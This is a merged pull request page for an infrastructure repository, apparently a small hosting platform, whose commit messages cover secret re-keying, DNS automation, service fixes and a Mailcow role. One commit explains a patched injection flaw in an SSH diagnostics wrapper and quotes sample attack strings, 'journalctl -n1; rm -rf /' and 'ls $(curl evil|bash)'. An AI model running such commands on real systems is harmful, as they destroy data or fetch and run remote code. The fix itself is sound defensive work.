1
1
Fork 0

YL #1

Merged
Yoav merged 30 commits from YL into main 2026-09-09 19:43:11 +02:00
Owner

MailCow Implementatie + SSO Geintergreerd.

MailCow Implementatie + SSO Geintergreerd.
Yoav added 30 commits 2026-09-09 19:42:49 +02:00
Test/dev bought servers were landing on the prod domain namespace (<name>.vrije.cloud)
because generate-all-secrets.sh and init-app-state.py hardcoded .vrije.cloud regardless of
environment — hit by hand on buildup and zone2source this cycle.

- generate-all-secrets.sh: add optional [environment] arg (default prod) → BASE_DOMAIN
  prod=vrije.cloud, test=test.vrije.cloud, dev=dev.vrije.cloud; all 9 service domains derive
  from it; invalid env rejected.
- init-app-state.py: client_domain default is now env-aware (prod=<name>.vrije.cloud,
  test/dev=<name>.<env>.vrije.cloud).
- server-provision.yaml: pass the resolved environment into generate-all-secrets.sh.

Closes #179.
Every real secret was encrypted to the single legacy key age170jqy5…, so one key decrypted
prod tokens AND every client's credentials. Per-env keys existed on paper but decrypted nothing.

This applies genuine cryptographic per-environment isolation:
- Split shared.sops.yaml -> hcloud-{dev,test,prod}.sops.yaml (each token to ONLY its env key)
  + shared-common.sops.yaml (non-env-sensitive: mailgun, acme, storage box, docker hub,
  monitoring, matrix diun — encrypted to all three env keys).
- Re-key all client files to their env: dev->dev, test/demo/buildup->test, the 10 prod
  animals + edge->prod, template->all three.
- Rewrite .sops.yaml creation rules (first-match-wins, specific before catch-all); the legacy
  key is no longer a recipient of anything.
- Point consumers at the new files: ansible load_vars -> shared-common; deploy-backups-all.sh
  + load-secrets-env.sh -> hcloud-prod; paymenter-webhook-bridge.py -> shared-common.

Verified: each hcloud token decrypts with ONLY its env key (prod token denied to dev/test
keys); shared-common opens with any env key; every client file opens with only its env key;
the legacy key opens nothing. Token/value integrity confirmed against the originals.

Also fixes #177: a per-env CI runner can now decrypt its env's client file + shared-common,
which was the concrete blocker for bought-server setup in CI.

Custody follow-up (prod key still present on the operator workstation) tracked separately;
this pass is the cryptographic re-key. Closes #37. Closes #177.
authentik sets TMPDIR=/dev/shm and keeps gunicorn worker-tmp + prometheus multiprocess
metric files there. Docker's 64M default fills over weeks of worker churn; a worker then
hits SIGBUS (exit 135) on boot and gunicorn crash-loops, so Traefik returns 'failed to
connect to authentik backend: EOF' (observed on demo.test 2026-09-06→07, ~24h of downtime;
recovered by restarting authentik-server, which clears the tmpfs).

Give authentik-server and authentik-worker shm_size: 512m (8x headroom; tmpfs only consumes
RAM as used). Fleet-wide latent issue — the role set no shm_size, so every authentik instance
(dev/test/prod) had the 64M default.
shm_size alone only delays the crash: authentik's prometheus multiprocess files leak one
set per recycled worker PID and are never deleted, so any shm ceiling eventually fills. Add
a daily reaper (roles/authentik/files/authentik-prometheus-reap.sh + cron via
tasks/prometheus-reap.yml) that removes ONLY files whose PID no longer exists in the
container — live workers' metrics and recent history are untouched, long-term history stays
in the scraped Prometheus TSDB. Verified on kikker: keeps 11 live files, reaps 3 dead ones.
#178 — bought dev/test servers now get their DNS automatically:
- server-lifecycle.py gains add-dns/remove-dns (env-aware A + wildcard for <name>.<env>,
  written to environments/prod/dns.tf where the vrije.cloud zone is managed; idempotent).
- server-configure opens a DNS PR (does NOT apply — prod keeps the manual apply-to-prod gate);
  server-cancel strips the records in its teardown PR. Removes the by-hand DNS I did for
  buildup/zone2source.

Access guard — the lifecycle workflows (provision/configure/cancel/resize) were gated only by
Forgejo repo write. Add assert-lifecycle-operator.py as the first post-checkout step in all four:
the dispatcher must be in the Owners or Production-Operators org team, else the run fails. Owners
is always allowed as a safety valve. Reuses the existing Production-Operators team (the lifecycle
is dev/test-scoped with a manual prod-apply gate, so prod operators are the right superset).

Closes #178.
include_tasks tags gate the include, not its children — a selective
`deploy.yml --tags prometheus-reap` processed the include but filtered out the copy/cron
tasks (changed=0, nothing installed). Tag the two tasks directly. Follow-up to #193; how the
reaper was rolled out fleet-wide.
#87 — pretix-cron ran `command: cron` (one-shot, exit 0) under restart:unless-stopped, so
Docker restarted it as fast as it exited — a permanent loop (observed RestartCount ~53,800 on
mees) that also masks a genuinely crash-looping container. Replace with a shell loop that keeps
the container Up and runs `pretix cron` every 15 min (pretix is on PATH; entrypoint overridden).

#88 — the role ran `docker exec pretix migrate` while the pretix container's own `pretix all`
was still migrating a fresh DB, racing it (UndefinedColumn / DuplicateColumn mid-migration).
Remove the redundant migrate; gate the deploy on the app container reporting HEALTHY (via
docker inspect on the exact 'pretix' container, not a loose `docker ps | grep` that matched
pretix-db too), with a 300s timeout that now FAILS rather than silently proceeding.

Affects pretix servers on next deploy. Closes #87. Closes #88.
8/10 prod Nextclouds were missing the user_oidc group-sync config (groupsClaim, groupMapping,
provisioningGroups, mapping-uid), so Authentik admins didn't get Nextcloud admin. Three latent
bugs stacked, each of which alone silenced the mapping on a server whose Authentik provider
already existed:

1. main.yml include_tasks for oidc.yml / oidc-group-sync.yml had no apply:, so `--tags oidc`
   ran only the include and skipped every inner task — a targeted re-run did nothing.
2. "Get OIDC provider ID" was gated on authentik_oidc.success, which is only set from
   /tmp/authentik_oidc_credentials.json — a file the authentik role writes ONLY when it first
   creates the provider. On existing providers it's absent, so the id lookup skipped.
3. "Extract provider ID" parsed 'identifier: (\d+)', but `occ user_oidc:provider` prints a
   table (| ID | Identifier | ...). It never matched, so oidc_provider_id stayed undefined.

Fix: apply: the tags to both includes; run the provider-id lookup unconditionally (read-only);
parse the Authentik row's ID column. Verified on bever — a re-run now sets all four params to
match kikker/onze. Remediation of the other 7 servers follows. Closes #3.
diagnostics-user.yml mapped hostname->env with 'else -> prod', so edge (platform infra, not a
prod client) received the PROD diagnostics key — the prod CI key could reach the edge, breaking
dev/prod isolation. Add an explicit 'edge' branch, a dedicated forgejo-actions-edge keypair, and
the edge option in the diagnostics workflow. Make the diagnostics authorized_key exclusive so the
CI-only diagnostics user holds EXACTLY its env key — which self-heals edge by removing the stale
prod key on the next setup run. Documented that the else->prod default is correct for animal prod
clients but every platform host must get an explicit branch (data-driven mapping is the ideal,
noted on #50). Part 1 (ufw decorative under Docker) is accept+document, per the issue comment.
diagnostics-wrapper.sh (the ForceCommand 'read-only' boundary for the diagnostics SSH key):
matched SSH_ORIGINAL_COMMAND against globs like 'ls *' / 'journalctl*' then ran
eval "$SSH_ORIGINAL_COMMAND" — the '*' swallowed shell metacharacters, so e.g.
'journalctl -n1; rm -rf /' or 'ls $(curl evil|bash)' matched the whitelist and eval executed
it. The stdin path validated arbitrary scripts by a bypassable blocklist then piped to bash.
Since the diagnostics user is in the docker group (root-equivalent), that was effectively root.
Rewritten to a strict allowlist: run ONLY a vetted, server-side script (deployed root-owned to
/usr/local/lib/diagnostics) selected by exact name — no eval, no arbitrary stdin, no blocklist.
diagnostics.yaml now sends the script NAME; the role deploys the scripts server-side.

state-surgery-dev.yaml: 'for addr in ${{ inputs.addresses }}' expanded an untrusted dispatch
input into the shell source (Actions script injection) — arbitrary code on the runner, which
holds the dev Hetzner + S3 credentials. Pass the input via env and charset-validate each address.

NOTE: not exploitable by read-only repo users (dispatch needs write; the diagnostics key is a
Forgejo secret) — but a compromised writer or leaked key could. Requires a setup re-run on each
server (diagnostics tag) to deploy the new wrapper + scripts; the new workflow + wrapper go
together.
Part 2 (misclassification): the diagnostics env was inferred purely from inventory_hostname with
an else->prod fallback, so any test/dev host not literally named dev/test/edge (demo, aalscholver,
bought servers) silently received the PROD diagnostics key — the prod CI key could then reach
non-prod servers. Add a data-driven override: an explicit diagnostics_env (host_var/group_var/-e)
now wins over the hostname map, and a fail-closed stat check refuses to deploy if the resolved
env has no forgejo-actions-<env> key (never fall back to the most-privileged key on a typo).
Set diagnostics_env: test on demo. (edge already fixed in #199; verified live authkeys=1.)

Part 1 (ufw): document in the security reference that ufw is NOT a container boundary — Docker's
nat/PREROUTING DNAT bypasses ufw's filter chain, so the Hetzner Cloud firewall is the real
perimeter; restrict container ports at the source (127.0.0.1 bind / DOCKER-USER), never ufw deny.

Closes #50.
Root-caused the recurring 'sshd refused all connections (kex reset)' on aalscholver/buildup
(2026-09-08): sshd logged 'fatal: Missing privilege separation directory: /run/sshd' on every
connection for ~20 min until reboot. ssh.service sets RuntimeDirectory=sshd, which creates
/run/sshd only on service START and does NOT shield it from systemd-tmpfiles-clean; with no
tmpfiles rule declaring /run/sshd, the periodic cleaner removed the empty dir from under a running
sshd, so the listener kept accepting TCP but every privsep child fataled -> connection reset for
everyone, from every source IP (ruled out fail2ban/firewall). A reboot recreated it.

Fix: ship /etc/tmpfiles.d/sshd.conf ('d /run/sshd 0755 root root -') so the dir is declared,
recreated at boot, and never age-cleaned; apply it immediately with systemd-tmpfiles --create.
Also tag the ssh include so it can be rolled with --tags ssh. Closes #66.
Completes the in-repo ghost purge started in #188 (which removed the 22 decommissioned-client
secrets + their pub keys). Removes the remaining 6 ghost SSH pub keys (haas, mol, mus, ree, uil,
vos — dev throwaways with no secret/host_vars/tofu/server) and 8 stray host_vars for long-dead
dev/test experiments (eend, hert, kraai, krekel, meerval, meeuw, schol, vink — none have a live
server, secret, or tofu module). Archived host_vars (bob, testdeploy) are left as-is (deliberately
kept). secrets/ and keys/ now reflect only live servers. Closes #27.
Bring the last hand-created records in the vrije.cloud zone under OpenTofu
management so the whole zone is described in code. All records already exist
live; each is paired with an `import` block and its value/ttl/comment copied
verbatim from the zone API, so the plan is import-only (0 add/change/destroy).

- Group (c): dev/test apex + wildcards + AAAA, and the demo.test / partos.dev
  overrides (both -> demo server), which the broad *.dev / *.test wildcards
  would otherwise shadow.
- Group (d): the Mailgun MX + SPF + DKIM + DMARC records (mg / *.mg). These are
  adopted import-only and MUST plan as a pure no-op; a mistake here would break
  email for every client.

ttl is omitted where the live record inherits the zone default; comment is ""
where the live record's comment is empty, so the imported state matches exactly.
NS/SOA remain Hetzner-managed and are intentionally left out.
The first plan showed 16 to import / 16 to add / 16 to destroy instead of a
clean import: an rrset imports with `zone` set to the zone NAME, and `zone` is
ForceNew, so using data.hcloud_zone.vrije_cloud.id (357964) forced a replace of
every record — unacceptable for the Mailgun records. Also the provider drops an
empty comment on import, so `comment = ""` read back as a records diff.

- Use the literal zone name "vrije.cloud" for these imported resources (the
  managed resources above keep .id; unifying them would replace them).
- Omit comment where the live comment is empty; omit ttl where it inherits the
  zone default. Real comments and explicit ttls (dev/test) are kept.

Plan must now be import-only (0 add/change/destroy) before apply.
Reconcile staged documentation changes from the 2026-09-09 session onto the latest vrije-cloud/infrastructure source (branch YL).
- add the current VMware bootstrap and on-demand app scripts
- add the Mailcow Ansible role with retained teardown and explicit opt-in
- update Mailcow/Authenik and customer monitoring documentation
- include generated-secret coverage and local access guide updates
Yoav merged commit f30a8fd225 into main 2026-09-09 19:43:11 +02:00
Sign in to join this conversation.
No reviewers
No labels
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
Yoav/infrastructure2!1
No description provided.